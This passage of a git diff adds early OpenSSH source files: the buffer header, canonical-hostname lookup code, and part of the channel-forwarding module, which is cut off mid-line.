0000000..a2b4eff --- /dev/null +++ b/other/openssh-reverse/buffer.h @@ -0,0 +1,68 @@ +/* + * + * buffer.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Sat Mar 18 04:12:25 1995 ylo + * + * Code for manipulating FIFO buffers. + * + */ + +/* RCSID("$OpenBSD: buffer.h,v 1.5 2000/06/20 01:39:39 markus Exp $"); */ + +#ifndef BUFFER_H +#define BUFFER_H + +typedef struct { + char *buf; /* Buffer for data. */ + unsigned int alloc; /* Number of bytes allocated for data. */ + unsigned int offset; /* Offset of first byte containing data. */ + unsigned int end; /* Offset of last byte containing data. */ +} Buffer; +/* Initializes the buffer structure. */ +void buffer_init(Buffer * buffer); + +/* Frees any memory used for the buffer. */ +void buffer_free(Buffer * buffer); + +/* Clears any data from the buffer, making it empty. This does not actually + zero the memory. */ +void buffer_clear(Buffer * buffer); + +/* Appends data to the buffer, expanding it if necessary. */ +void buffer_append(Buffer * buffer, const char *data, unsigned int len); + +/* + * Appends space to the buffer, expanding the buffer if necessary. This does + * not actually copy the data into the buffer, but instead returns a pointer + * to the allocated region. + */ +void buffer_append_space(Buffer * buffer, char **datap, unsigned int len); + +/* Returns the number of bytes of data in the buffer. */ +unsigned int buffer_len(Buffer * buffer); + +/* Gets data from the beginning of the buffer. */ +void buffer_get(Buffer * buffer, char *buf, unsigned int len); + +/* Consumes the given number of bytes from the beginning of the buffer. */ +void buffer_consume(Buffer * buffer, unsigned int bytes); + +/* Consumes the given number of bytes from the end of the buffer. */ +void buffer_consume_end(Buffer * buffer, unsigned int bytes); + +/* Returns a pointer to the first used byte in the buffer. */ +char *buffer_ptr(Buffer * buffer); + +/* + * Dumps the contents of the buffer to stderr in hex. This intended for + * debugging purposes only. + */ +void buffer_dump(Buffer * buffer); + +#endif /* BUFFER_H */ diff --git a/other/openssh-reverse/canohost.c b/other/openssh-reverse/canohost.c new file mode 100644 index 0000000..7ded0e3 --- /dev/null +++ b/other/openssh-reverse/canohost.c @@ -0,0 +1,298 @@ +/* + * + * canohost.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Sun Jul 2 17:52:22 1995 ylo + * + * Functions for returning the canonical host name of the remote site. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: canohost.c,v 1.13 2000/06/20 01:39:39 markus Exp $"); + +#include "packet.h" +#include "xmalloc.h" +#include "ssh.h" + +/* + * Return the canonical name of the host at the other end of the socket. The + * caller should free the returned string with xfree. + */ + +char * +get_remote_hostname(int socket) +{ + struct sockaddr_storage from; + int i; + socklen_t fromlen; + struct addrinfo hints, *ai, *aitop; + char name[MAXHOSTNAMELEN]; + char ntop[NI_MAXHOST], ntop2[NI_MAXHOST]; + + /* Get IP address of client. */ + fromlen = sizeof(from); + memset(&from, 0, sizeof(from)); + if (getpeername(socket, (struct sockaddr *) & from, &fromlen) < 0) { + debug("getpeername failed: %.100s", strerror(errno)); + fatal_cleanup(); + } + +#ifdef IPV4_IN_IPV6 + if (from.ss_family == AF_INET6) { + struct sockaddr_in6 *from6 = (struct sockaddr_in6 *)&from; + + /* Detect IPv4 in IPv6 mapped address and convert it to */ + /* plain (AF_INET) IPv4 address */ + if (IN6_IS_ADDR_V4MAPPED(&from6->sin6_addr)) { + struct sockaddr_in *from4 = (struct sockaddr_in *)&from; + struct in_addr addr; + u_int16_t port; + + memcpy(&addr, ((char *)&from6->sin6_addr) + 12, sizeof(addr)); + port = from6->sin6_port; + + memset(&from, 0, sizeof(from)); + + from4->sin_family = AF_INET; + memcpy(&from4->sin_addr, &addr, sizeof(addr)); + from4->sin_port = port; + } + } +#endif + + if (getnameinfo((struct sockaddr *)&from, fromlen, ntop, sizeof(ntop), + NULL, 0, NI_NUMERICHOST) != 0) + fatal("get_remote_hostname: getnameinfo NI_NUMERICHOST failed"); + + /* Map the IP address to a host name. */ + if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name), + NULL, 0, NI_NAMEREQD) == 0) { + /* Got host name. */ + name[sizeof(name) - 1] = '\0'; + /* + * Convert it to all lowercase (which is expected by the rest + * of this software). + */ + for (i = 0; name[i]; i++) + if (isupper(name[i])) + name[i] = tolower(name[i]); + + /* + * Map it back to an IP address and check that the given + * address actually is an address of this host. This is + * necessary because anyone with access to a name server can + * define arbitrary names for an IP address. Mapping from + * name to IP address can be trusted better (but can still be + * fooled if the intruder has access to the name server of + * the domain). + */ + memset(&hints, 0, sizeof(hints)); + hints.ai_family = from.ss_family; + hints.ai_socktype = SOCK_STREAM; + if (getaddrinfo(name, NULL, &hints, &aitop) != 0) { + log("reverse mapping checking getaddrinfo for %.700s failed - POSSIBLE BREAKIN ATTEMPT!", name); + strlcpy(name, ntop, sizeof name); + goto check_ip_options; + } + /* Look for the address from the list of addresses. */ + for (ai = aitop; ai; ai = ai->ai_next) { + if (getnameinfo(ai->ai_addr, ai->ai_addrlen, ntop2, + sizeof(ntop2), NULL, 0, NI_NUMERICHOST) == 0 && + (strcmp(ntop, ntop2) == 0)) + break; + } + freeaddrinfo(aitop); + /* If we reached the end of the list, the address was not there. */ + if (!ai) { + /* Address not found for the host name. */ + log("Address %.100s maps to %.600s, but this does not map back to the address - POSSIBLE BREAKIN ATTEMPT!", + ntop, name); + strlcpy(name, ntop, sizeof name); + goto check_ip_options; + } + /* Address was found for the host name. We accept the host name. */ + } else { + /* Host name not found. Use ascii representation of the address. */ + strlcpy(name, ntop, sizeof name); + log("Could not reverse map address %.100s.", name); + } + +check_ip_options: + + /* + * If IP options are supported, make sure there are none (log and + * disconnect them if any are found). Basically we are worried about + * source routing; it can be used to pretend you are somebody + * (ip-address) you are not. That itself may be "almost acceptable" + * under certain circumstances, but rhosts autentication is useless + * if source routing is accepted. Notice also that if we just dropped + * source routing here, the other side could use IP spoofing to do + * rest of the interaction and could still bypass security. So we + * exit here if we detect any IP options. + */ + /* IP options -- IPv4 only */ + if (from.ss_family == AF_INET) { + unsigned char options[200], *ucp; + char text[1024], *cp; + socklen_t option_size; + int ipproto; + struct protoent *ip; + + if ((ip = getprotobyname("ip")) != NULL) + ipproto = ip->p_proto; + else + ipproto = IPPROTO_IP; + option_size = sizeof(options); + if (getsockopt(0, ipproto, IP_OPTIONS, (char *) options, + &option_size) >= 0 && option_size != 0) { + cp = text; + /* Note: "text" buffer must be at least 3x as big as options. */ + for (ucp = options; option_size > 0; ucp++, option_size--, cp += 3) + sprintf(cp, " %2.2x", *ucp); + log("Connection from %.100s with IP options:%.800s", + ntop, text); + packet_disconnect("Connection from %.100s with IP options:%.800s", + ntop, text); + } + } + + return xstrdup(name); +} + +/* + * Return the canonical name of the host in the other side of the current + * connection. The host name is cached, so it is efficient to call this + * several times. + */ + +const char * +get_canonical_hostname() +{ + static char *canonical_host_name = NULL; + + /* Check if we have previously retrieved this same name. */ + if (canonical_host_name != NULL) + return canonical_host_name; + + /* Get the real hostname if socket; otherwise return UNKNOWN. */ + if (packet_connection_is_on_socket()) + canonical_host_name = get_remote_hostname(packet_get_connection_in()); + else + canonical_host_name = xstrdup("UNKNOWN"); + + return canonical_host_name; +} + +/* + * Returns the IP-address of the remote host as a string. The returned + * string must not be freed. + */ + +const char * +get_remote_ipaddr() +{ + static char *canonical_host_ip = NULL; + struct sockaddr_storage from; + socklen_t fromlen; + int socket; + char ntop[NI_MAXHOST]; + + /* Check whether we have chached the name. */ + if (canonical_host_ip != NULL) + return canonical_host_ip; + + /* If not a socket, return UNKNOWN. */ + if (!packet_connection_is_on_socket()) { + canonical_host_ip = xstrdup("UNKNOWN"); + return canonical_host_ip; + } + /* Get client socket. */ + socket = packet_get_connection_in(); + + /* Get IP address of client. */ + fromlen = sizeof(from); + memset(&from, 0, sizeof(from)); + if (getpeername(socket, (struct sockaddr *) & from, &fromlen) < 0) { + debug("getpeername failed: %.100s", strerror(errno)); + fatal_cleanup(); + } + /* Get the IP address in ascii. */ + if (getnameinfo((struct sockaddr *)&from, fromlen, ntop, sizeof(ntop), + NULL, 0, NI_NUMERICHOST) != 0) + fatal("get_remote_hostname: getnameinfo NI_NUMERICHOST failed"); + + canonical_host_ip = xstrdup(ntop); + + /* Return ip address string. */ + return canonical_host_ip; +} + +/* Returns the local/remote port for the socket. */ + +int +get_sock_port(int sock, int local) +{ + struct sockaddr_storage from; + socklen_t fromlen; + char strport[NI_MAXSERV]; + + /* Get IP address of client. */ + fromlen = sizeof(from); + memset(&from, 0, sizeof(from)); + if (local) { + if (getsockname(sock, (struct sockaddr *)&from, &fromlen) < 0) { + error("getsockname failed: %.100s", strerror(errno)); + return 0; + } + } else { + if (getpeername(sock, (struct sockaddr *) & from, &fromlen) < 0) { + debug("getpeername failed: %.100s", strerror(errno)); + fatal_cleanup(); + } + } + /* Return port number. */ + if (getnameinfo((struct sockaddr *)&from, fromlen, NULL, 0, + strport, sizeof(strport), NI_NUMERICSERV) != 0) + fatal("get_sock_port: getnameinfo NI_NUMERICSERV failed"); + return atoi(strport); +} + +/* Returns remote/local port number for the current connection. */ + +int +get_port(int local) +{ + /* + * If the connection is not a socket, return 65535. This is + * intentionally chosen to be an unprivileged port number. + */ + if (!packet_connection_is_on_socket()) + return 65535; + + /* Get socket and return the port number. */ + return get_sock_port(packet_get_connection_in(), local); +} + +int +get_peer_port(int sock) +{ + return get_sock_port(sock, 0); +} + +int +get_remote_port() +{ + return get_port(0); +} + +int +get_local_port() +{ + return get_port(1); +} diff --git a/other/openssh-reverse/channels.c b/other/openssh-reverse/channels.c new file mode 100644 index 0000000..3710b2f --- /dev/null +++ b/other/openssh-reverse/channels.c @@ -0,0 +1,2324 @@ +/* + * + * channels.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Fri Mar 24 16:35:24 1995 ylo + * + * This file contains functions for generic socket connection forwarding. + * There is also code for initiating connection forwarding for X11 connections, + * arbitrary tcp/ip connections, and the authentication agent connection. + * + * SSH2 support added by Markus Friedl. + */ + +#include "includes.h" +RCSID("$OpenBSD: channels.c,v 1.63 2000/06/25 20:17:57 provos Exp $"); + +#include "ssh.h" +#include "packet.h" +#include "xmalloc.h" +#include "buffer.h" +#include "authfd.h" +#include "uidswap.h" +#include "readconf.h" +#include "servconf.h" + +#include "channels.h" +#include "nchan.h" +#include "compat.h" + +#include "ssh2.h" + +/* Maximum number of fake X11 displays to try. */ +#define MAX_DISPLAYS 1000 + +/* Max len of agent socket */ +#define MAX_SOCKET_NAME 100 + +/* default window/packet sizes for tcp/x11-fwd-channel */ +#define CHAN_TCP_WINDOW_DEFAULT (8*1024) +#define CHAN_TCP_PACKET_DEFAULT (CHAN_TCP_WINDOW_DEFAULT/2) +#define CHAN_X11_WINDOW_DEFAULT (4*1024) +#define CHAN_X11_PACKET_DEFAULT (CHAN_X11_WINDOW_DEFAULT/2) + +/* + * Pointer to an array containing all allocated channels. The array is + * dynamically extended as needed. + */ +static Channel *channels = NULL; + +/* + * Size of the channel array. All slots of the array must always be + * initialized (at least the type field); unused slots are marked with type + * SSH_CHANNEL_FREE. + */ +static int channels_alloc = 0; + +/* + * Maximum file descriptor value used in any of the channels. This is + * updated in channel_allocate. + */ +static int channel_max_fd_value = 0; + +/* Name and directory of socket for authentication agent forwarding. */ +static char *channel_forwarded_auth_socket_name = NULL; +static char *channel_forwarded_auth_socket_dir = NULL; + +/* Saved X11 authentication protocol name. */ +char *x11_saved_proto = NULL; + +/* Saved X11 authentication data. This is the real data. */ +char *x11_saved_data = NULL; +unsigned int x11_saved_data_len = 0; + +/* + * Fake X11 authentication data. This is what the server will be sending us; + * we should replace any occurrences of this by the real data. + */ +char *x11_fake_data = NULL; +unsigned int x11_fake_data_len; + +/* + * Data structure for storing which hosts are permitted for forward requests. + * The local sides of any remote forwards are stored in this array to prevent + * a corrupt remote server from accessing arbitrary TCP/IP ports on our local + * network (which might be behind a firewall). + */ +typedef struct { + char *host_to_connect; /* Connect to 'host'. */ + u_short port_to_connect; /* Connect to 'port'. */ + u_short listen_port; /* Remote side should listen port number. */ +} ForwardPermission; + +/* List of all permitted host/port pairs to connect. */ +static ForwardPermission permitted_opens[SSH_MAX_FORWARDS_PER_DIRECTION]; +/* Number of permitted host/port pairs in the array. */ +static int num_permitted_opens = 0; +/* + * If this is true, all opens are permitted. This is the case on the server + * on which we have to trust the client anyway, and the user could do + * anything after logging in anyway. + */ +static int all_opens_permitted = 0; + +/* This is set to true if both sides support SSH_PROTOFLAG_HOST_IN_FWD_OPEN. */ +static int have_hostname_in_open = 0; + +/* Sets specific protocol options. */ + +void +channel_set_options(int hostname_in_open) +{ + have_hostname_in_open = hostname_in_open; +} + +/* + * Permits opening to any host/port in SSH_MSG_PORT_OPEN. This is usually + * called by the server, because the user could connect to any port anyway, + * and the server has no way to know but to trust the client anyway. + */ + +void +channel_permit_all_opens() +{ + all_opens_permitted = 1; +} + +/* lookup channel by id */ + +Channel * +channel_lookup(int id) +{ + Channel *c; + if (id < 0 || id > channels_alloc) { + log("channel_lookup: %d: bad id", id); + return NULL; + } + c = &channels[id]; + if (c->type == SSH_CHANNEL_FREE) { + log("channel_lookup: %d: bad id: channel free", id); + return NULL; + } + return c; +} + +/* + * Register filedescriptors for a channel, used when allocating a channel or + * when the channel consumer/producer is ready, e.g. shell exec'd + */ + +void +channel_register_fds(Channel *c, int rfd, int wfd, int efd, int extusage) +{ + /* Update the maximum file descriptor value. */ + if (rfd > channel_max_fd_value) + channel_max_fd_value = rfd; + if (wfd > channel_max_fd_value) + channel_max_fd_value = wfd; + if (efd > channel_max_fd_value) + channel_max_fd_value = efd; + /* XXX set close-on-exec -markus */ + + c->rfd = rfd; + c->wfd = wfd; + c->sock = (rfd == wfd) ? rfd : -1; + c->efd = efd; + c->extended_usage = extusage; + if (rfd != -1) + set_nonblock(rfd); + if (wfd != -1) + set_nonblock(wfd); + if (efd != -1) + set_nonblock(efd); +} + +/* + * Allocate a new channel object and set its type and socket. This will cause + * remote_name to be freed. + */ + +int +channel_new(char *ctype, int type, int rfd, int wfd, int efd, + int window, int maxpack, int extusage, char *remote_name) +{ + int i, found; + Channel *c; + + /* Do initial allocation if this is the first call. */ + if (channels_alloc == 0) { + chan_init(); + channels_alloc = 10; + channels = xmalloc(channels_alloc * sizeof(Channel)); + for (i = 0; i < channels_alloc; i++) + channels[i].type = SSH_CHANNEL_FREE; + /* + * Kludge: arrange a call to channel_stop_listening if we + * terminate with fatal(). + */ + fatal_add_cleanup((void (*) (void *)) channel_stop_listening, NULL); + } + /* Try to find a free slot where to put the new channel. */ + for (found = -1, i = 0; i < channels_alloc; i++) + if (channels[i].type == SSH_CHANNEL_FREE) { + /* Found a free slot. */ + found = i; + break; + } + if (found == -1) { + /* There are no free slots. Take last+1 slot and expand the array. */ + found = channels_alloc; + channels_alloc += 10; + debug("channel: expanding %d", channels_alloc); + channels = xrealloc(channels, channels_alloc * sizeof(Channel)); + for (i = found; i < channels_alloc; i++) + channels[i].type = SSH_CHANNEL_FREE; + } + /* Initialize and return new channel number. */ + c = &channels[found]; + buffer_init(&c->input); + buffer_init(&c->output); + buffer_init(&c->extended); + chan_init_iostates(c); + channel_register_fds(c, rfd, wfd, efd, extusage); + c->self = found; + c->type = type; + c->ctype = ctype; + c->local_window = window; + c->local_window_max = window; + c->local_consumed = 0; + c->local_maxpacket = maxpack; + c->remote_id = -1; + c->remote_name = remote_name; + c->remote_window = 0; + c->remote_maxpacket = 0; + c->cb_fn = NULL; + c->cb_arg = NULL; + c->cb_event = 0; + c->dettach_user = NULL; + debug("channel %d: new [%s]", found, remote_name); + return found; +} +/* old interface XXX */ +int +channel_allocate(int type, int sock, char *remote_name) +{ + return channel_new("", type, sock, sock, -1, 0, 0, 0, remote_name); +} + + +/* Close all channel fd/socket. */ + +void +channel_close_fds(Channel *c) +{ + if (c->sock != -1) { + close(c->sock); + c->sock = -1; + } + if (c->rfd != -1) { + close(c->rfd); + c->rfd = -1; + } + if (c->wfd != -1) { + close(c->wfd); + c->wfd = -1; + } + if (c->efd != -1) { + close(c->efd); + c->efd = -1; + } +} + +/* Free the channel and close its fd/socket. */ + +void +channel_free(int id) +{ + Channel *c = channel_lookup(id); + if (c == NULL) + packet_disconnect("channel free: bad local channel %d", id); + debug("channel_free: channel %d: status: %s", id, channel_open_message()); + if (c->dettach_user != NULL) { + debug("channel_free: channel %d: dettaching channel user", id); + c->dettach_user(c->self, NULL); + } + if (c->sock != -1) + shutdown(c->sock, SHUT_RDWR); + channel_close_fds(c); + buffer_free(&c->input); + buffer_free(&c->output); + buffer_free(&c->extended); + c->type = SSH_CHANNEL_FREE; + if (c->remote_name) { + xfree(c->remote_name); + c->remote_name = NULL; + } +} + +/* + * 'channel_pre*' are called just before select() to add any bits relevant to + * channels in the select bitmasks. + */ +/* + * 'channel_post*': perform any appropriate operations for channels which + * have events pending. + */ +typedef void chan_fn(Channel *c, fd_set * readset, fd_set * writeset); +chan_fn *channel_pre[SSH_CHANNEL_MAX_TYPE]; +chan_fn *channel_post[SSH_CHANNEL_MAX_TYPE]; + +void +channel_pre_listener(Channel *c, fd_set * readset, fd_set * writeset) +{ + FD_SET(c->sock, readset); +} + +void +channel_pre_open_13(Channel *c, fd_set * readset, fd_set * writeset) +{ + if (buffer_len(&c->input) < packet_get_maxsize()) + FD_SET(c->sock, readset); + if (buffer_len(&c->output) > 0) + FD_SET(c->sock, writeset); +} + +void +channel_pre_open_15(Channel *c, fd_set * readset, fd_set * writeset) +{ + /* test whether sockets are 'alive' for read/write */ + if (c->istate == CHAN_INPUT_OPEN) + if (buffer_len(&c->input) < packet_get_maxsize()) + FD_SET(c->sock, readset); + if (c->ostate == CHAN_OUTPUT_OPEN || + c->ostate == CHAN_OUTPUT_WAIT_DRAIN) { + if (buffer_len(&c->output) > 0) { + FD_SET(c->sock, writeset); + } else if (c->ostate == CHAN_OUTPUT_WAIT_DRAIN) { + chan_obuf_empty(c); + } + } +} + +void +channel_pre_open_20(Channel *c, fd_set * readset, fd_set * writeset) +{ + if (c->istate == CHAN_INPUT_OPEN && + c->remote_window > 0 && + buffer_len(&c->input) < c->remote_window) + FD_SET(c->rfd, readset); + if (c->ostate == CHAN_OUTPUT_OPEN || + c->ostate == CHAN_OUTPUT_WAIT_DRAIN) { + if (buffer_len(&c->output) > 0) { + FD_SET(c->wfd, writeset); + } else if (c->ostate == CHAN_OUTPUT_WAIT_DRAIN) { + chan_obuf_empty(c); + } + } + /** XXX check close conditions, too */ + if (c->efd != -1) { + if (c->extended_usage == CHAN_EXTENDED_WRITE && + buffer_len(&c->extended) > 0) + FD_SET(c->efd, writeset); + else if (c->extended_usage == CHAN_EXTENDED_READ && + buffer_len(&c->extended) < c->remote_window) + FD_SET(c->efd, readset); + } +} + +void +channel_pre_input_draining(Channel *c, fd_set * readset, fd_set * writeset) +{ + if (buffer_len(&c->input) == 0) { + packet_start(SSH_MSG_CHANNEL_CLOSE); + packet_put_int(c->remote_id); + packet_send(); + c->type = SSH_CHANNEL_CLOSED; + debug("Closing channel %d after input drain.", c->self); + } +} + +void +channel_pre_output_draining(Channel *c, fd_set * readset, fd_set * writeset) +{ + if (buffer_len(&c->output) == 0) + channel_free(c->self); + else + FD_SET(c->sock, writeset); +} + +/* + * This is a special state for X11 authentication spoofing. An opened X11 + * connection (when authentication spoofing is being done) remains in this + * state until the first packet has been completely read. The authentication + * data in that packet is then substituted by the real data if it matches the + * fake data, and the channel is put into normal mode. + * XXX All this happens at the client side. + */ +int +x11_open_helper(Channel *c) +{ + unsigned char *ucp; + unsigned int proto_len, data_len; + + /* Check if the fixed size part of the packet is in buffer. */ + if (buffer_len(&c->output) < 12) + return 0; + + /* Parse the lengths of variable-length fields. */ + ucp = (unsigned char *) buffer_ptr(&c->output); + if (ucp[0] == 0x42) { /* Byte order MSB first. */ + proto_len = 256 * ucp[6] + ucp[7]; + data_len = 256 * ucp[8] + ucp[9]; + } else if (ucp[0] == 0x6c) { /* Byte order LSB first. */ + proto_len = ucp[6] + 256 * ucp[7]; + data_len = ucp[8] + 256 * ucp[9]; + } else { + debug("Initial X11 packet contains bad byte order byte: 0x%x", + ucp[0]); + return -1; + } + + /* Check if the whole packet is in buffer. */ + if (buffer_len(&c->output) < + 12 + ((proto_len + 3) & ~3) + ((data_len + 3) & ~3)) + return 0; + + /* Check if authentication protocol matches. */ + if (proto_len != strlen(x11_saved_proto) || + memcmp(ucp + 12, x11_saved_proto, proto_len) != 0) { + debug("X11 connection uses different authentication protocol."); + return -1; + } + /* Check if authentication data matches our fake data. */ + if (data_len != x11_fake_data_len || + memcmp(ucp + 12 + ((proto_len + 3) & ~3), + x11_fake_data, x11_fake_data_len) != 0) { + debug("X11 auth data does not match fake data."); + return -1; + } + /* Check fake data length */ + if (x11_fake_data_len != x11_saved_data_len) { + error("X11 fake_data_len %d != saved_data_len %d", + x11_fake_data_len, x11_saved_data_len); + return -1; + } + /* + * Received authentication protocol and data match + * our fake data. Substitute the fake data with real + * data. + */ + memcpy(ucp + 12 + ((proto_len + 3) & ~3), + x11_saved_data, x11_saved_data_len); + return 1; +} + +void +channel_pre_x11_open_13(Channel *c, fd_set * readset, fd_set * writeset) +{ + int ret = x11_open_helper(c); + if (ret == 1) { + /* Start normal processing for the channel. */ + c->type = SSH_CHANNEL_OPEN; + channel_pre_open_13(c, readset, writeset); + } else if (ret == -1) { + /* + * We have received an X11 connection that has bad + * authentication information. + */ + log("X11 connection rejected because of wrong authentication.\r\n"); + buffer_clear(&c->input); + buffer_clear(&c->output); + close(c->sock); + c->sock = -1; + c->type = SSH_CHANNEL_CLOSED; + packet_start(SSH_MSG_CHANNEL_CLOSE); + packet_put_int(c->remote_id); + packet_send(); + } +} + +void +channel_pre_x11_open(Channel *c, fd_set * readset, fd_set * writeset) +{ + int ret = x11_open_helper(c); + if (ret == 1) { + c->type = SSH_CHANNEL_OPEN; + if (compat20) + channel_pre_open_20(c, readset, writeset); + else + channel_pre_open_15(c, readset, writeset); + } else if (ret == -1) { + debug("X11 rejected %d i%d/o%d", c->self, c->istate, c->ostate); + chan_read_failed(c); /** force close? */ + chan_write_failed(c); + debug("X11 closed %d i%d/o%d", c->self, c->istate, c->ostate); + } +} + +/* This is our fake X11 server socket. */ +void +channel_post_x11_listener(Channel *c, fd_set * readset, fd_set * writeset) +{ + struct sockaddr addr; + int newsock, newch; + socklen_t addrlen; + char buf[16384], *remote_hostname; + int remote_port; + + if (FD_ISSET(c->sock, readset)) { + debug("X11 connection requested."); + addrlen = sizeof(addr); + newsock = accept(c->sock, &addr, &addrlen); + if (newsock < 0) { + error("accept: %.100s", strerror(errno)); + return; + } + remote_hostname = get_remote_hostname(newsock); + remote_port = get_peer_port(newsock); + snprintf(buf, sizeof buf, "X11 connection from %.200s port %d", + remote_hostname, remote_port); + + newch = channel_new("x11", + SSH_CHANNEL_OPENING, newsock, newsock, -1, + c->local_window_max, c->local_maxpacket, + 0, xstrdup(buf)); + if (compat20) { + packet_start(SSH2_MSG_CHANNEL_OPEN); + packet_put_cstring("x11"); + packet_put_int(newch); + packet_put_int(c->local_window_max); + packet_put_int(c->local_maxpacket); + /* originator host and port */ + packet_put_cstring(remote_hostname); + if (datafellows & SSH_BUG_X11FWD) { + debug("ssh2 x11 bug compat mode"); + } else { + packet_put_int(remote_port); + } + packet_send(); + } else { + packet_start(SSH_SMSG_X11_OPEN); + packet_put_int(newch); + if (have_hostname_in_open) + packet_put_string(buf, strlen(buf)); + packet_send(); + } + xfree(remote_hostname); + } +} + +/* + * This socket is listening for connections to a forwarded TCP/IP port. + */ +void +channel_post_port_listener(Channel *c, fd_set * readset, fd_set * writeset) +{ + struct sockaddr addr; + int newsock, newch; + socklen_t addrlen; + char buf[1024], *remote_hostname; + int remote_port; + + if (FD_ISSET(c->sock, readset)) { + debug("Connection to port %d forwarding " + "to %.100s port %d requested.", + c->listening_port, c->path, c->host_port); + addrlen = sizeof(addr); + newsock = accept(c->sock, &addr, &addrlen); + if (newsock < 0) { + error("accept: %.100s", strerror(errno)); + return; + } + remote_hostname = get_remote_hostname(newsock); + remote_port = get_peer_port(newsock); + snprintf(buf, sizeof buf, + "listen port %d for %.100s port %d, " + "connect from %.200s port %d", + c->listening_port, c->path, c->host_port, + remote_hostname, remote_port); + newch = channel_new("direct-tcpip", + SSH_CHANNEL_OPENING, newsock, newsock, -1, + c->local_window_max, c->local_maxpacket, + 0, xstrdup(buf)); + if (compat20) { + packet_start(SSH2_MSG_CHANNEL_OPEN); + packet_put_cstring("direct-tcpip"); + packet_put_int(newch); + packet_put_int(c->local_window_max); + packet_put_int(c->local_maxpacket); + /* target host and port */ + packet_put_string(c->path, strlen(c->path)); + packet_put_int(c->host_port); + /* originator host and port */ + packet_put_cstring(remote_hostname); + packet_put_int(remote_port); + packet_send(); + } else { + packet_start(SSH_MSG_PORT_OPEN); + packet_put_int(newch); + packet_put_string(c->path, strlen(c->path)); + packet_put_int(c->host_port); + if (have_hostname_in_open) { + packet_put_string(buf, strlen(buf)); + } + packet_send(); + } + xfree(remote_hostname); + } +} + +/* + * This is the authentication agent socket listening for connections from + * clients. + */ +void +channel_post_auth_listener(Channel *c, fd_set * readset, fd_set * writeset) +{ + struct sockaddr addr; + int newsock, newch; + socklen_t addrlen; + + if (FD_ISSET(c->sock, readset)) { + addrlen = sizeof(addr); + newsock = accept(c->sock, &addr, &addrlen); + if (newsock < 0) { + error("accept from auth socket: %.100s", strerror(errno)); + return; + } + newch = channel_allocate(SSH_CHANNEL_OPENING, newsock, + xstrdup("accepted auth socket")); + packet_start(SSH_SMSG_AGENT_OPEN); + packet_put_int(newch); + packet_send(); + } +} + +int +channel_handle_rfd(Channel *c, fd_set * readset, fd_set * writeset) +{ + char buf[16*1024]; + int len; + + if (c->rfd != -1 && + FD_ISSET(c->rfd, readset)) { + len = read(c->rfd, buf, sizeof(buf)); + if (len < 0 && (errno == EINTR || errno == EAGAIN)) + return 1; + if (len <= 0) { + debug("channel %d: read<=0 rfd %d len %d", + c->self, c->rfd, len); + if (compat13) { + buffer_consume(&c->output, buffer_len(&c->output)); + c->type = SSH_CHANNEL_INPUT_DRAINING; + debug("Channel %d status set to input draining.", c->self); + } else { + chan_read_failed(c); + } + return -1; + } + buffer_append(&c->input, buf, len); + } + return 1; +} +int +channel_handle_wfd(Channel *c, fd_set * readset, fd_set * writeset) +{ + int len; + + /* Send buffered output data to the socket. */ + if (c->wfd != -1 && + FD_ISSET(c->wfd, writeset) && + buffer_len(&c->output) > 0) { + len = write(c->wfd, buffer_ptr(&c->output), + buffer_len(&c->output)); + if (len < 0 && (errno == EINTR || errno == EAGAIN)) + return 1; + if (len <= 0) { + if (compat13) { + buffer_consume(&c->output, buffer_len(&c->output)); + debug("Channel %d status set to input draining.", c->self); + c->type = SSH_CHANNEL_INPUT_DRAINING; + } else { + chan_write_failed(c); + } + return -1; + } + buffer_consume(&c->output, len); + if (compat20 && len > 0) { + c->local_consumed += len; + } + } + return 1; +} +int +channel_handle_efd(Channel *c, fd_set * readset, fd_set * writeset) +{ + char buf[16*1024]; + int len; + +/** XXX handle drain efd, too */ + if (c->efd != -1) { + if (c->extended_usage == CHAN_EXTENDED_WRITE && + FD_ISSET(c->efd, writeset) && + buffer_len(&c->extended) > 0) { + len = write(c->efd, buffer_ptr(&c->extended), + buffer_len(&c->extended)); + debug("channel %d: written %d to efd %d", + c->self, len, c->efd); + if (len > 0) { + buffer_consume(&c->extended, len); + c->local_consumed += len; + } + } else if (c->extended_usage == CHAN_EXTENDED_READ && + FD_ISSET(c->efd, readset)) { + len = read(c->efd, buf, sizeof(buf)); + debug("channel %d: read %d from efd %d", + c->self, len, c->efd); + if (len == 0) { + debug("channel %d: closing efd %d", + c->self, c->efd); + close(c->efd); + c->efd = -1; + } else if (len > 0) + buffer_append(&c->extended, buf, len); + } + } + return 1; +} +int +channel_check_window(Channel *c, fd_set * readset, fd_set * writeset) +{ + if (!(c->flags & (CHAN_CLOSE_SENT|CHAN_CLOSE_RCVD)) && + c->local_window < c->local_window_max/2 && + c->local_consumed > 0) { + packet_start(SSH2_MSG_CHANNEL_WINDOW_ADJUST); + packet_put_int(c->remote_id); + packet_put_int(c->local_consumed); + packet_send(); + debug("channel %d: window %d sent adjust %d", + c->self, c->local_window, + c->local_consumed); + c->local_window += c->local_consumed; + c->local_consumed = 0; + } + return 1; +} + +void +channel_post_open_1(Channel *c, fd_set * readset, fd_set * writeset) +{ + channel_handle_rfd(c, readset, writeset); + channel_handle_wfd(c, readset, writeset); +} + +void +channel_post_open_2(Channel *c, fd_set * readset, fd_set * writeset) +{ + channel_handle_rfd(c, readset, writeset); + channel_handle_wfd(c, readset, writeset); + channel_handle_efd(c, readset, writeset); + channel_check_window(c, readset, writeset); +} + +void +channel_post_output_drain_13(Channel *c, fd_set * readset, fd_set * writeset) +{ + int len; + /* Send buffered output data to the socket. */ + if (FD_ISSET(c->sock, writeset) && buffer_len(&c->output) > 0) { + len = write(c->sock, buffer_ptr(&c->output), + buffer_len(&c->output)); + if (len <= 0) + buffer_consume(&c->output, buffer_len(&c->output)); + else + buffer_consume(&c->output, len); + } +} + +void +channel_handler_init_20(void) +{ + channel_pre[SSH_CHANNEL_OPEN] = &channel_pre_open_20; + channel_pre[SSH_CHANNEL_X11_OPEN] = &channel_pre_x11_open; + channel_pre[SSH_CHANNEL_PORT_LISTENER] = &channel_pre_listener; + channel_pre[SSH_CHANNEL_X11_LISTENER] = &channel_pre_listener; + + channel_post[SSH_CHANNEL_OPEN] = &channel_post_open_2; + channel_post[SSH_CHANNEL_PORT_LISTENER] = 